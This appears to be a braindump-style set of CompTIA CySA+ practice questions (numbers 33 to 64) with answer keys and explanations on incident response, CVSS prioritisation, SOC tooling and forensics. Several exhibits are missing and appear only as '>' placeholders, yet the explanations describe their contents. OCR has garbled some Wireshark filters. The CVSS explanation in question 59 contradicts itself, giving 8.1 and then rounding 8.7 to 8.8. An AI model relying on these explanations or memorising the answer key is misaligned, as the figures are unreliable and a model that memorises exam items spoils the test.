Explanation

Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and
can help detect insecure or unusual connections. These logs will show if non-secure
protocols are used, potentially revealing exposed credentials. According to CompTIA
CySA+, IDS logs are essential for identifying malicious activity related to communications
and network intrusions. Options like DNS (A) and tcpdump (B) provide network details, but
IDS specifically monitors for intrusions and unusual activities relevant to security
incidents.

Questions # 33:

Following an incident, a security analyst needs to create a script for downloading the
configuration of all assets from the cloud tenancy. Which of the following authentication
methods should the analyst use?
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Options:

O A.

MFA

O B.

User and password
O C.

PAM

O D.

Key pair

Answer

D
Explanation

Key pair authentication is a method of using a public and private key to securely access
cloud resources, such as downloading the configuration of assets from a cloud tenancy.
Key pair authentication is more secure than user and password or PAM, and does not
require an additional factor like MFA.

[References: Authentication Methods - Configuring Tenant-Wide Settings in Azure ..., Cloud
Foundation - Oracle Help Center, , , , ]

Questions # 34:

An end-of-life date was announced for a widely used OS. A business-critical function is
performed by some machinery that is controlled by a PC, which is utilizing the OS that is
approaching the end-of- life date. Which of the following best describes a security analyst's
concern?

Options:
O A.
Any discovered vulnerabilities will not be remediated.

O B.
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An outage of machinery would cost the organization money.

o C.

Support will not be available for the critical machinery

O D.

There are no compensating controls in place for the OS.

Answer

A
Explanation

A security analyst’s concern is that any discovered vulnerabilities in the OS that is
approaching the end-of-life date will not be remediated by the vendor, leaving the system
exposed to potential attacks. The other options are not directly related to the security
analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst
(CySA+) Certification Exam Objectives, page 9, section 2.21

Questions # 35:

The analyst reviews the following endpoint log entry:

>

Which of the following has occurred?

Options:

O A.

Registry change

O B.

Rename computer

O C.

New account introduced

O D.
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Privilege escalation

Answer

C
Explanation

The endpoint log entry shows that a new account named “admin” has been created on a
Windows system with a local group membership of “Administrators”. This indicates that a
new account has been introduced on the system with administrative privileges. This could
be a sign of malicious activity, such as privilege escalation or backdoor creation, by an
attacker who has compromised the system.

Questions # 36:

A company patches its servers using automation software. Remote SSH or RDP connections
are allowed to the servers only from the service account used by the automation software. All
servers are in an internal subnet without direct access to or from the internet. An analyst
reviews the following vulnerability summary:

>

Which of the following vulnerability IDs should the analyst address first?

Options:
O A.

1

O B.

2

O C.

3

O D.
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Answer

B
Explanation

The vulnerability with the highest CVSS score and an active exploit is Microsoft
CVE-2021-34527 (PrintNightmare). Although only present on two instances, its high
severity (8.4) and exploitable nature make it a priority. PrintNightmare is a well-known
remote code execution vulnerability, which can be a critical risk. According to CompTIA
CySA+ and vulnerability management practices, prioritizing based on severity and
exploitability is essential, even over the number of instances. Other vulnerabilities listed
are less severe or lack active exploitation.

Questions # 37:

A security analyst reviews the following results of a Nikto scan:

>

Which of the following should the security administrator investigate next?

Options:
O A.

tiki

O B.
phpList

O C.
shtml.exe
O D.

sshome

Answer

C
Explanation
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The security administrator should investigate shtml.exe next, as it is a potential
vulnerability that allows remote code execution on the web server. Nikto scan results
indicate that the web server is running Apache on Windows, and that the shtml.exe file is
accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI)
feature, which allows dynamic content generation on web pages. However, if the SSI
feature is not configured properly, it can allow attackers to execute arbitrary commands
on the web server by injecting malicious code into the URL or the web pagel2. Therefore,
the security administrator should check the SSI configuration and permissions, and
remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration
testing. Introduction, Web application scanning with Nikto

Questions # 38:

An incident response analyst is investigating the root cause of a recent malware outbreak.
Initial binary analysis indicates that this malware disables host security services and performs
cleanup routines on it infected hosts, including deletion of initial dropper and removal of event
log entries and prefetch files from the host. Which of the following data sources would most
likely reveal evidence of the root cause?

(Select two).

Options:

O A.

Creation time of dropper
O B.

Registry artifacts

O C.

EDR data

O D.

Prefetch files

O E.

File system metadata
O F.

Sysmon event log
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Answer

B, C
Explanation

Registry artifacts and EDR data are two data sources that can provide valuable
information about the root cause of a malware outbreak. Registry artifacts can reveal
changes made by the malware to the system configuration, such as disabling security
services, modifying startup items, or creating persistence mechanismsl. EDR data can
capture the behavior and network activity of the malware, such as the initial infection
vector, the command and control communication, or the lateral movement2. These data
sources can help the analyst identify the malware family, the attack technique, and the
threat actor behind the outbreak.

[References: Malware Analysis | CISA, Malware Analysis: Steps & Examples - CrowdStrike, ,

1

Questions # 39:

Which Of the following techniques would be best to provide the necessary assurance for
embedded software that drives centrifugal pumps at a power Plant?

Options:

O A.

Containerization

O B.

Manual code reviews

O C.

Static and dynamic analysis
O D.

Formal methods

Answer

D
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Explanation

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Editionl, the best
technique to provide the necessary assurance for embedded software that drives
centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and
mathematical approach to software development and verification, which can ensure the
correctness and reliability of critical software systems. Formal methods can be used to
specify, design, implement, and verify embedded software using formal languages, logics,
and tools1.

Containerization, manual code reviews, and static and dynamic analysis are also useful
techniques for software assurance, but they are not as rigorous or comprehensive as
formal methods. Containerizationis a method of isolating and packaging software
applications with their dependencies, which can improve security, portability, and
scalability. Manual code reviews are a process of examining the source code of a software
program by human reviewers, which can help identify errors, vulnerabilities, and
compliance issues. Static and dynamic analysis are techniques of testing and evaluating
software without executing it (static) or while executing it (dynamic), which can help
detect bugs, defects, and performance issuesl.

Questions # 40:

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session
from a potentially compromised machine. The analyst sets the following display filter: ftp. The
analyst can see there are several RETR requests with 226 Transfer complete responses, but
the packet list pane is not showing the packets containing the file transfer itself. Which of the
following can the analyst perform to see the entire contents of the downloaded files?
Options:

O A.

Change the display filter to f cp. accive. pore

O B.

Change the display filter to tcg.port=20

O C.

Change the display filter to f cp-daca and follow the TCP streams

O D.

Navigate to the File menu and select FTP from the Export objects option
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Answer

C
Explanation

The best way to see the entire contents of the downloaded files in Wireshark is to change
the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used
to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-
data packets and following the TCP streams, the analyst can see the actual file data that
was transferred during the FTP session

Questions # 41:

Which of the following best describes the threat concept in which an organization works to
ensure that all network users only open attachments from known sources?

Options:

O A.

Hacktivist threat

O B.

Advanced persistent threat

O C.

Unintentional insider threat

O D.

Nation-state threat

Answer

C
Explanation

An unintentional insider threat is a type of network security threat that occurs when a
legitimate user of the network unknowingly exposes the network to malicious activity,
such as opening a phishing email or a malware-infected attachment from an unknown
source. This can compromise the network security and allow attackers to access sensitive
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data or systems. The other options are not related to the threat concept of ensuring that
all network users only open attachments from known sources.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat
and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices
| Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend
Against Network Security Threats, 2. Use Firewalls section.

Questions # 42:

A network analyst notices a long spike in traffic on port 1433 between two IP addresses on
opposite sides of a WAN connection. Which of the following is the most likely cause?

Options:
O A.

A local red team member is enumerating the local RFC1918 segment to enumerate hosts.
O B.

A threat actor has a foothold on the network and is sending out control beacons.

O C.

An administrator executed a new database replication process without notifying the SOC.
O D.

An insider threat actor is running Responder on the local segment, creating traffic replication.

Answer

C
Explanation

Port 1433 is commonly used by Microsoft SQL Server, which is a database management
system. A spike in traffic on this port between two IP addresses on opposite sides of a
WAN connection could indicate a database replication process, which is a way of copying
and distributing data from one database server to another. This could be a legitimate
activity performed by an administrator, but it should be communicated to the security
operations center (SOC) to avoid confusion and false alarms.

[References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 3: Security
Operations, page 107; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter
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‘ 4: Security Operations, page 153., , ] ’

Questions # 43:

Which of the following would help to minimize human engagement and aid in process
improvement in security operations?

Options:
O A.
OSSTMM
O B.
SIEM

O C.
SOAR

O D.

QVVASP

Answer

C
Explanation

SOAR stands for security orchestration, automation, and response, which is a term that
describes a set of tools, technologies, or platforms that can help streamline, standardize,
and automate security operations and incident response processes and tasks. SOAR can
help minimize human engagement and aid in process improvement in security operations
by reducing manual work, human errors, response time, or complexity. SOAR can also
help enhance collaboration, coordination, efficiency, or effectiveness of security
operations and incident response teams.

Questions # 44:

A SOC analyst determined that a significant number of the reported alarms could be closed
after removing the duplicates. Which of the following could help the analyst reduce the
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number of alarms with the least effort?

Options:
O A.
SOAR

O B.

API

O C.
XDR

O D.

REST

Answer

A
Explanation

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst
reduce the number of alarms by automating the process of removing duplicates and
managing security alerts more efficiently. SOAR platforms enable security teams to define,
prioritize, and standardize response procedures, which helps in reducing the workload and
improving the overall efficiency of incident response by handling repetitive and low-level
tasks automatically.

Questions # 45:

Which of the following is the best action to take after the conclusion of a security incident to
improve incident response in the future?

Options:

O A.

Develop a call tree to inform impacted users

O B.
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Schedule a review with all teams to discuss what occurred
O C.

Create an executive summary to update company leadership

O D.

Review regulatory compliance with public relations for official notification

Answer

B
Explanation

One of the best actions to take after the conclusion of a security incident to improve
incident response in the future is to schedule a review with all teams to discuss what
occurred, what went well, what went wrong, and what can be improved. This review is also
known as a lessons learned session or an after-action report. The purpose of this review is
to identify the root causes of the incident, evaluate the effectiveness of the incident
response process, document any gaps or weaknesses in the security controls, and
recommend corrective actions or preventive measures for future incidents. Official
References:
https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seve
n-steps-cyberattack/

Questions # 46:

An organization has implemented code into a production environment. During a routine test, a
penetration tester found that some of the code had a backdoor implemented, causing a
developer to make changes outside of the change management windows. Which of the
following is the best way to prevent this issue?

Options:

O A.

SDLC training

O B.

Dynamic analysis

O C.
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Debugging
O D.

Source code review

Answer

D
Explanation

Abackdooris a deliberate vulnerability inserted into the code, often allowing
unauthorized access.

Source code review (Option D)is the best way to detect malicious code before it
is deployed to production.

SDLC training (Option A)is helpful but does not directly prevent the insertion of
backdoors.

Dynamic analysis (Option B)detects vulnerabilities at runtime but may not always
identify backdoors in code.

Debugging (Option C)is useful for troubleshooting but does not address security

vulnerabilities.

?7??77Reference:CompTIA CySA+ CS0-003 Official Study Guide, Secure Software
Development Practices.

Questions # 47:

An analyst is reviewing a dashboard from the company's SIEM and finds that an IP address
known to be malicious can be tracked to numerous high-priority events in the last two hours.
The dashboard indicates that these events relate to TTPs. Which of the following is the analyst
most likely using?

Options:

O A.

MITRE ATT&CK

O B.
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OSSTMM

O C.

Diamond Model of Intrusion Analysis
O D.

OWASP

Answer

A
Explanation

The MITRE ATT&CK framework is widely used for tracking and categorizing Tactics,
Techniques, and Procedures (TTPs) of adversaries. TTPs help analysts understand the
behaviors and methods attackers employ during incidents, making this framework
particularly useful in SIEM dashboards for correlating and identifying threats. While the
other options (OSSTMM, Diamond Model, OWASP) offer various security methodologies,
MITRE ATT&CK is specifically focused on documenting adversary behaviors, making it the
best fit here. CompTIA CySA+ often emphasizes MITRE ATT&CK for mapping and
understanding threat behaviors in incident response.

Questions # 48:

Which of the following describes how a CSIRT lead determines who should be communicated
with and when during a security incident?

Options:

O A.

The lead should review what is documented in the incident response policy or plan
O B.

Management level members of the CSIRT should make that decision

O C.

The lead has the authority to decide who to communicate with at any time

O D.
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Subject matter experts on the team should communicate with others within the specified area
of expertise

Answer

A
Explanation

The incident response policy or plan is a document that defines the roles and
responsibilities, procedures and processes, communication and escalation protocols, and
reporting and documentation requirements for handling security incidents. The lead
should review what is documented in the incident response policy or plan to determine
who should be communicated with and when during a security incident, as well as what
information should be shared and how. The incident response policy or plan should also be
aligned with the organizational policies and legal obligations regarding incident
notification and disclosure.

Questions # 49:

A security analyst is investigating an unusually high volume of requests received on
a web server. Based on the following command and output:

access _log - [21/May/2024 13:19:06] "GET /newyddion HTTP/1.1" 404 -
access_log - [21/May/2024 13:19:06] "GET /1970 HTTP/1.1" 404 -

access_log - [21/May/2024 13:19:06] "GET /dopey HTTP/1.1" 404 -

Which of the following best describes the activity that the analyst will confirm?

Options:

O A.

SQL injection

O B.

Directory brute force
O C.

Remote command execution
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O D.

Cross-site scripting

Answer

B
Explanation

This log shows multiple 404 errors being triggered from requests to different directories or
paths, which strongly suggests adirectory brute-force attack. In this type of attack, an
adversary uses automated tools to enumerate directory or file paths in an attempt to find
hidden or misconfigured resources. The frequent 404 “Not Found” HTTP responses from a
single IP address attempting to access different URL paths is the signature pattern for
directory brute-forcing. This behavior is not consistent with XSS, SQLi, or RCE, which would
involve payloads or specific encoded commands, not merely probing paths.

[Reference:, Chapple & Seidl,CompTIA CySA+ Practice Tests(Sybex, 2023), Question 149,
p. 297, Objective 1.2 of CySA+ CS0-003 Exam Objectives: Analyze indicators of malicious
activity such as scans/sweeps, unusual traffic spikes, activity on unexpected ports, , ]

Questions # 50:

After updating the email client to the latest patch, only about 15% of the workforce is able to
use email. Windows 10 users do not experience issues, but Windows 11 users have constant
issues. Which of the

following did the change management team fail to do?

Options:

O A.
Implementation
O B.

Testing

O C.

Rollback

O D.

Validation
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Answer

B
Explanation

Testing is a crucial step in any change management process, as it ensures that the
change is compatible with the existing systems and does not cause any errors or
disruptions. In this case, the change management team failed to test the email client
patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing
would have revealed the problem before the patch was deployed, and allowed the team to
fix it or postpone the change.

[References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them,
CompTIA CySA+ CS0-003 Certification Study Guide, , , ]

Questions # 51:

Which of the following should be updated after a lessons-learned review?

Options:

O A.

Disaster recovery plan
O B.

Business continuity plan
O C.

Tabletop exercise

O D.

Incident response plan

Answer

D
Explanation

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the
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incident response plan after an incident or an exercise. The purpose of the review is to
identify the strengths and weaknesses of the incident response plan, and to update it
accordingly to improve the future performance and resilience of the organization.
Therefore, the incident response plan should be updated after a lessons-learned review.

[References: The answer was based on the NCSC CAF guidance from the National Cyber
Security Centre, which states: “You should use post-incident and post-exercise reviews to
actively reduce the risks associated with the same, or similar, incidents happening in
future. Lessons learned can inform any aspect of your cyber security, including: System
configuration Security monitoring and reporting Investigation procedures
Containment/recovery strategies”, , , ]

Questions # 52:

Which of the following characteristics ensures the security of an automated information
system is the most effective and economical?

Options:

O A.

Originally designed to provide necessary security
O B.

Subjected to intense security testing

O C.

Customized to meet specific security threats

O D.

Optimized prior to the addition of security

Answer

A
Explanation

Comprehensive Detailed Explanation:The most effective and economical way to ensure
the security of an automated information system is to design it with security in mind from
the outset. This is often referred to as "security by design." Here’s a breakdown of each
option and why option A is correct:
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A. Originally designed to provide necessary security

Explanation: Systems designed with security from the beginning integrate
secure practices and considerations during the development process. This
approach mitigates the need for costly and complex retroactive security
implementations, which are common in systems where security was an
afterthought.

Cost Efficiency: Security implementations at the design stage can be embedded
into the system architecture, reducing the costs associated with later
modifications.

Effectiveness: Security-by-design approaches often result in robust systems
that are more resilient to vulnerabilities because they address security
concerns at each development phase.

B. Subjected to intense security testing

While rigorous security testing (such as penetration testing and vulnerability
assessments) is essential, it is reactive. Security testing is more effective when
applied to systems already designed with foundational security principles,
ensuring that tests identify potential flaws in an inherently secure system.

C. Customized to meet specific security threats

Customizing security to meet specific threats addresses unique risks, but such
a targeted approach may miss new or emerging threats not initially considered.
It also risks neglecting fundamental security practices that apply universally,
leading to potential vulnerabilities.

D. Optimized prior to the addition of security

Optimizing a system before adding security features may enhance performance
but does not guarantee security. Security cannot be effectively added onto a
system as an afterthought without incurring additional costs or creating
potential weaknesses.

[References:, NIST SP 800-160: Systems Security Engineering, which emphasizes
designing systems with security integrated from the beginning., OWASP Security by
Design Principles: Explores how security considerations are most effective when included
early in development., , ]

Questions # 53:
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A recent penetration test discovered that several employees were enticed to assist attackers
by visiting specific websites and running downloaded files when prompted by phone calls.
Which of the following would best address this issue?

Options:

O A.

Increasing training and awareness for all staff

O B.

Ensuring that malicious websites cannot be visited

O C.

Blocking all scripts downloaded from the internet

O D.

Disabling all staff members' ability to run downloaded applications

Answer

A
Explanation

Increasing training and awareness for all staff is the best way to address the issue of
employees being enticed to assist attackers by visiting specific websites and running
downloaded files when prompted by phone calls. This issue is an example of social
engineering, which is a technique that exploits human psychology and behavior to
manipulate people into performing actions or divulging information that benefit the
attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid
pro quo, or impersonation. The best defense against social engineering is to educate and
train the staff on how to recognize and avoid common social engineering tactics, such as:

Verifying the identity and legitimacy of the caller or sender before following their
instructions or clicking on any links or attachments

Being wary of unsolicited or unexpected requests for information or action, especially
if they involve urgency, pressure, or threats

Reporting any suspicious or anomalous activity to the security team or the
appropriate authority

Following the organization’s policies and procedures on security awareness and best
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practices

Official References:
https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-ex
am-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions
-answered

Questions # 54:

An incident response team is working with law enforcement to investigate an active web
server compromise. The decision has been made to keep the server running and to implement
compensating controls for a period of time. The web service must be accessible from the
internet via the reverse proxy and must connect to a database server. Which of the following
compensating controls will help contain the adversary while meeting the other requirements?
(Select two).

Options:

O A.

Drop the tables on the database server to prevent data exfiltration.

O B.

Deploy EDR on the web server and the database server to reduce the adversaries capabilities.
O C.

Stop the httpd service on the web server so that the adversary can not use web exploits

O D.

use micro segmentation to restrict connectivity to/from the web and database servers.

O E.

Comment out the HTTP account in the / etc/passwd file of the web server

O F.

Move the database from the database server to the web server.
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Answer

B,D
Explanation

Deploying EDR on the web server and the database server to reduce the adversaries
capabilities and using micro segmentation to restrict connectivity to/from the web and
database servers are two compensating controls that will help contain the adversary while
meeting the other requirements. A compensating control is a security measure that is
implemented to mitigate the risk of a vulnerability or an attack when the primary control
is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a
tool that monitors endpoints for malicious activity and provides automated or manual
response capabilities. EDR can help contain the adversary by detecting and blocking their
actions, such as data exfiltration, lateral movement, privilege escalation, or command
execution. Micro segmentation is a technique that divides a network into smaller
segments based on policies and rules, and applies granular access controls to each
segment. Micro segmentation can help contain the adversary by isolating the web and
database servers from other parts of the network, and limiting the traffic that can flow
between them. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-ex
am-objectives
https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions
-answered

Questions # 55:

A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on
the public-facing web server. Which of the following is the next step for the analyst to take?
Options:

O A.

Instruct the firewall engineer that a rule needs to be added to block this external server.

O B.

Escalate the event to an incident and notify the SOC manager of the activity.
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O C.

Notify the incident response team that a DDoS attack is occurring.

O D.

Identify the IP/hostname for the requests and look at the related activity.

Answer

D
Explanation

A HTTP/404 error code means that the requested page or resource was not found on the
web server. This could be caused by various reasons, such as incorrect URLs, moved or
deleted pages, missing assets, or server misconfigurations123. The analyst should first
identify the source of the requests and examine the related activity to determine if they
are legitimate or malicious, and what actions need to be taken to resolve the issue. The
other options are either premature or irrelevant without further investigation. References:
1: 404 Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes
Them and How To Fix It 3: About 404 errors and how to Troubleshoot it?

Questions # 56:

Which of the following statements best describes the MITRE ATT&CK framework?

Options:

O A.

It provides a comprehensive method to test the security of applications.

O B.

It provides threat intelligence sharing and development of action and mitigation strategies.

O C.

It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
O D.

It tracks and understands threats and is an open-source project that evolves.

O E.
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It breaks down intrusions into a clearly defined sequence of phases.

Answer

D
Explanation

The MITRE ATT&CK framework is a knowledge base of cybercriminals’ adversarial
behaviors based on cybercriminals’ known tactics, techniques and procedures (TTPs). It
helps security teams model, detect, prevent and fight cybersecurity threats by simulating
cyberattacks, creating security policies, controls and incident response plans, and sharing
information with other security professionals. It is an open-source project that evolves with
input from a global community of cybersecurity professionalsl. References: What is the
MITRE ATT&CK Framework? | IBM

Questions # 57:

A company has decided to expose several systems to the internet, The systems are currently
available internally only. A security analyst is using a subset of CVSS3.1 exploitability metrics
to prioritize the vulnerabilities that would be the most exploitable when the systems are
exposed to the internet. The systems and the vulnerabilities are shown below:

Which of the following systems should be prioritized for patching?

Options:
O A.
brown

O B.
grey

O C.
blane

O D.

sullivan
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Answer

C
Explanation

The system “blane” with the vulnerability name “snakedoctor” should be prioritized for
patching as it has a network attack vector (AV:N), low attack complexity (AC:L), and high
availability (A:H). These metrics indicate that it would be relatively easy to exploit this
vulnerability over the internet, and the system is highly available. References: According
to the CVSS v3.1 Specification Document, the exploitability metrics for CVSS are Attack
Vector, Attack Complexity, Privileges Required, User Interaction, and Scope. These metrics
measure how the vulnerability is accessed, the complexity of the attack, and the level of
interaction and privileges required to exploit the vulnerability. The image shows a table
with the values of these metrics for each system and vulnerability. Based on these values,
the system “blane” has the highest exploitability score, as it has the most favorable
conditions for an attacker. The other systems have either a lower attack vector, higher
attack complexity, or lower availability, which make them less exploitable. Therefore, the
system “blane” should be patched first.

Questions # 58:

An analyst is trying to capture anomalous traffic from a compromised host. Which of the
following are the best tools for achieving this objective? (Select two).

Options:

O A.

tcpdump

O B.

SIEM

O C.

Vulnerability scanner
O D.

Wireshark

O E.

Nmap
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O F.

SOAR

Answer

A D

Explanation

Tocapture and analyze network traffic, the two best tools are:
tcpdump (Option A)- A command-line packet capture tool used for network traffic
analysis.

Wireshark (Option D)- A GUI-based network packet analysis tool that provides
deep inspection capabilities.

Option B (SIEM)is forlog aggregationand does notcapturetraffic.

Option C (Vulnerability scanner)identifies weaknesses but does
notcapturenetwork traffic.

Option E (Nmap)is used for network discovery and port scanning, not capturing
traffic.

Option F (SOAR)automates security processes but does not capture traffic.

Thus,A (tcpdump) and D (Wireshark) are correct, asthey are the best tools for
capturing and analyzing anomalous network traffic.

Questions # 59:

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities
with similar CVSSv3 scores but different base score metrics. Which of the following attack
vectors should the analyst remediate first?

Options:
O A.

CVSS 3.0/AVP/AC:L/PR:L/UI:N/S U/C:H/I:H/A:H
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O B.

CVSS 3.0/AV:A/AC .L/PR:L/UI:N/S:U/C:H/I:H/A:H

O C.

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S;U/C:H/I:H/A:H

O D.

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Answer

C

Explanation

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is the attack vector that the analyst should
remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability
Scoring System version 3) is a standard framework for rating the severity of
vulnerabilities, based on various metrics that reflect the characteristics and impact of the
vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base,
Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic

qualities of the vulnerability, such as how it can be exploited, what privileges are required,
and what impact it has on confidentiality, integrity, and availability. The Temporal metrics
are optional and reflect the current state of the vulnerability, such as whether there is a
known exploit, a patch, or a workaround. The Environmental metrics are also optional and
reflect the context of the vulnerability in a specific environment, such as how it affects the
asset value, security requirements, or mitigating controls. The Base metrics produce a
score ranging from 0 to 10, which can then be modified by scoring the Temporal and
Environmental metrics. A CVSS score is also represented as a vector string, a compressed
textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:
Attack Vector (AV): Network (N). This means that the vulnerability can be exploited
remotely over a network connection.

Attack Complexity (AC): Low (L). This means that the attack does not require any
special conditions or changes to the configuration of the target system.

Privileges Required (PR): Low (L). This means that the attacker needs some
privileges on the target system to exploit the vulnerability, such as user-level access.

User Interaction (Ul): None (N). This means that the attack does not require any user
action or involvement to succeed.

Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined
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to the same security authority as the vulnerable component, such as an application
or an operating system.

Confidentiality Impact ©: High (H). This means that the vulnerability results in a total
loss of confidentiality, such as unauthorized disclosure of all data on the system.

Integrity Impact (I): High (H). This means that the vulnerability results in a total loss
of integrity, such as unauthorized modification or deletion of all data on the system.

Availability Impact (A): High (H). This means that the vulnerability results in a total
loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula:
Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = 6.42 x [1 - ((1 - Confidentiality) x (1 - Integrity) x (1 - Availability))]

Exploitability = 8.22 x Attack Vector x Attack Complexity x Privileges Required x User
Interaction

Using this formula, we get:

Impact = 6.42 x [1 - ((1 - 0.56) x (1 -0.56) x (1-0.56))] =5.9
Exploitability = 8.22 x 0.85 x 0.77 x 0.62 x 0.85 = 2.8

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other
option.

The other attack vectors have lower Base scores, as they have different values for some of
the Base metrics:

CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it has a
lower value for Attack Vector (Physical), which means that the vulnerability can only
be exploited by having physical access to the target system.

CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it has a
lower value for Attack Vector (Adjacent Network), which means that the vulnerability
can only be exploited by being on the same physical or logical network as the target
system.

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has a
lower value for Attack Vector (Local), which means that the vulnerability can only be
exploited by having local access to the target system, such as through a terminal or
a command shell.
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Questions # 60:

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant
company security policies are shown below:

Security Policy 1006: Vulnerability Management

1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to
prioritize the remediation of security vulnerabilities.

2. In situations where a choice must be made between confidentiality and availability, the
Company shall prioritize confidentiality of data over availability of systems and data.

3. The Company shall prioritize patching of publicly available systems and services over
patching of internally available system.

According to the security policy, which of the following vulnerabilities should be the highest
priority to patch?

A)
>
B)
>

Q)

Options:
O A.
Option A
O B.
Option B
O C.

Option C
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O D.

Option D

Answer

C
Explanation

According to the security policy, the company shall use the CVSSv3.1 Base Score Metrics
to prioritize the remediation of security vulnerabilities. Option C has the highest CVSSv3.1
Base Score of 9.8, which indicates a critical severity level. The company shall also
prioritize confidentiality of data over availability of systems and data, and option C has a
high impact on confidentiality (C:H). Finally, the company shall prioritize patching of
publicly available systems and services over patching of internally available systems, and
option C affects a public-facing web server. Official References: https://www.first.org/cvss/

Questions # 61:

An organization has established a formal change management process after experiencing
several critical system failures over the past year. Which of the following are key factors that
the change management process will include in order to reduce the impact of system failures?
(Select two).

Options:

O A.

Ensure users the document system recovery plan prior to deployment.
O B.

Perform a full system-level backup following the change.

O C.

Leverage an audit tool to identify changes that are being made.

O D.

Identify assets with dependence that could be impacted by the change.

O E.

Require diagrams to be completed for all critical systems.
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O F.

Ensure that all assets are properly listed in the inventory management system.

Answer

D, F
Explanation

The correct answers for key factors in the change management process to reduce the
impact of system failures are:

D. Identify assets with dependence that could be impacted by the change.
F. Ensure that all assets are properly listed in the inventory management system.

D. Identify assets with dependence that could be impacted by the change: This is crucial
in change management because understanding the interdependencies among assets can
help anticipate and mitigate the potential cascading effects of a change. By identifying
these dependencies, the organization can plan more effectively for changes and minimize
the risk of unintended consequences that could lead to system failures.

F. Ensure that all assets are properly listed in the inventory management system:
Maintaining an accurate and comprehensive inventory of assets is fundamental in change
management. Knowing exactly what assets the organization possesses and their
characteristics allows for better planning and impact analysis when changes are made.
This ensures that no critical component is overlooked during the change process, reducing
the risk of failures due to incomplete information.

Other Options:

A. Ensure users document system recovery plan prior to deployment: While documenting
a system recovery plan is important, it's more related to disaster recovery and business
continuity planning than directly reducing the impact of system failures due to changes.

B. Perform a full system-level backup following the change: While backups are essential,
they are generally a reactive measure to recover from a failure, rather than a proactive
measure to reduce the impact of system failures in the first place.

C. Leverage an audit tool to identify changes that are being made: While using an audit
tool is helpful for tracking changes and ensuring compliance, it is not directly linked to
reducing the impact of system failures due to changes.

E. Require diagrams to be completed for all critical systems: While having diagrams of
critical systems is useful for understanding and managing them, it is not a direct method
for reducing the impact of system failures due to changes. Diagrams are more about
documentation and understanding rather than proactive change management.
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Questions # 62:

Which of the following in the digital forensics process is considered a critical activity that often
includes a graphical representation of process and operating system events?

Options:

O A.

Registry editing

O B.

Network mapping

O C.

Timeline analysis

O D.

Write blocking

Answer

C
Explanation

Timeline analysis in digital forensics involves creating a chronological sequence of events
based on system logs, file changes, and other forensic data. This process often uses
graphical representations to illustrate and analyze how an incident unfolded over time,
making it easier to identify key events and potential indicators of compromise. This
approach is highlighted in CompTIA Cybersecurity Analyst (CySA+) practices as crucial for
understanding the scope and sequence of a security incident. The other options do not
involve chronological or graphical analysis to the extent that timeline analysis does.

Questions # 63:

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in
the organization's environment. An analyst views the details of these events below:

>
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Which of the following statements best describes the intent of the attacker, based on this one-
liner?

Options:

O A.

Attacker is escalating privileges via JavaScript.

O B.

Attacker is utilizing custom malware to download an additional script.

O C.

Attacker is executing PowerShell script "AccessToken.psr.

O D.

Attacker is attempting to install persistence mechanisms on the target machine.

Answer

B
Explanation

The one-liner script is utilizing JavaScript to execute a PowerShell command that
downloads and runs a script from an external source, indicating the use of custom
malware to download an additional script. References: CompTIA CySA+ Study Guide:
Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

Questions # 64:

A company that has a geographically diverse workforce and dynamic IPs wants to implement a
vulnerability scanning method with reduced network traffic. Which of the following would best
meet this requirement?

Options:
O A.
External

O B.
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Agent-based

O C.
Non-credentialed
O D.

Credentialed

Answer

B
Explanation

Agent-based vulnerability scanning is a method that involves installing software agents on
the target systems or networks that can perform local scans and report the results to a
